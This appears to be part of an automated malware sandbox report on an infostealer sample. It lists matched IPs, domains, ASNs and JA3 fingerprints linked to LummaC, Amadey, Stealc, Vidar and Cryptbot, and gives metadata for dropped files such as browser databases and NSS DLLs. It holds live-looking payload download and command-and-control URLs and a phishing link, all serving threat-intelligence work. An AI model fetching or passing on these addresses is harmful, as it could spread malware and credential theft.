	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
34.117.188.166	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
31.41.244.11	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	31.41.244.11/files/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	31.41.244.11/files/random.exe
	E89hSGjVrv.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	31.41.244.11/files/random.exe
	file.exe	Get hash	malicious	Amadey	Browse	31.41.244.11/files/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	31.41.244.11/files/Lumma111.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	31.41.244.11/files/random.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	31.41.244.11/files/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	31.41.244.11/files/random.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	31.41.244.11/files/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	31.41.244.11/files/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
librari-night.sbs	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.172
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.21.85.146
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.172
	file.exe	Get hash	malicious	LummaC	Browse	104.21.85.146
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.172
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.172
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.172
	hmjsOnyfSB.dll	Get hash	malicious	LummaC	Browse	104.21.85.146
	file.exe	Get hash	malicious	LummaC	Browse	104.21.85.146
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.172
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	93.184.215.14
home.fvtekk5pn.top	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	34.116.198.130
	file.exe	Get hash	malicious	Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	34.116.198.130
	file.exe	Get hash	malicious	Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	34.116.198.130
	file.exe	Get hash	malicious	Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
AEROEXPRESS-ASRU	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	31.41.244.11
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	31.41.244.11
	E89hSGjVrv.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	31.41.244.11
	file.exe	Get hash	malicious	Amadey	Browse	31.41.244.11
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	31.41.244.11
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	31.41.244.11
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	31.41.244.11
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	31.41.244.11
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	31.41.244.11
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	31.41.244.11
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	Cryptbot	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	https://www.virustotal.com/gui/domain/ghabovethec.info/detection#:~:text=API-,ghabovethec.info,-Registrar	Get hash	malicious	AveMaria	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	Cryptbot	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	https://msf-update.cloud/?rid=wDbmX0h	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	E89hSGjVrv.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	https://docusign685420961463outlook99742742685.glitch.me/#cGFsdmEwMUBtc24uY29t	Get hash	malicious	HTMLPhisher	Browse	172.202.163.200 184.28.90.27 13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 172.67.206.172
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 172.67.206.172
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.97.3 172.67.206.172
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 172.67.206.172
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 172.67.206.172
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 172.67.206.172
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 172.67.206.172
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 172.67.206.172
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.97.3 172.67.206.172
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 172.67.206.172
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	E89hSGjVrv.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\ProgramData\AAKJKJDG

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBGCGDBKEGHIEBGDBFHDHIDAFC

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHDHDGHJ

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJECAEHJJJKJKFIDGCBG

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDGHIIJKEBGIDHIDBKJD

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JECAFHJEGCFCBFIEGCAE

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9930
Entropy (8bit):	5.529695267282359
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp6Phj4qyaaX86KakfGNBw8dISl:dedquOcwV0
MD5:	0C11CD9AA49FD596D496646AF6AF1A56
SHA1:	D0D0A510687BF34989C1D4AB84E3CD05D51865A0
SHA-256:	4C7B415F952305698E23506C9FB570156AAAC5EA19B7DCA56473E21D4D2AD790
SHA-512:	BC46672562B816F358C7EC6A7782C32688C4085E94059508A74A3D0A6B0E0F629979BBBEE0B074CB37F8B6494DE4BEA1929B79E6D4E0766AEF27B9191E077CDD
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\JJDBGDHIIDAEBFHJJDBFIDGIJE

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: E89hSGjVrv.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
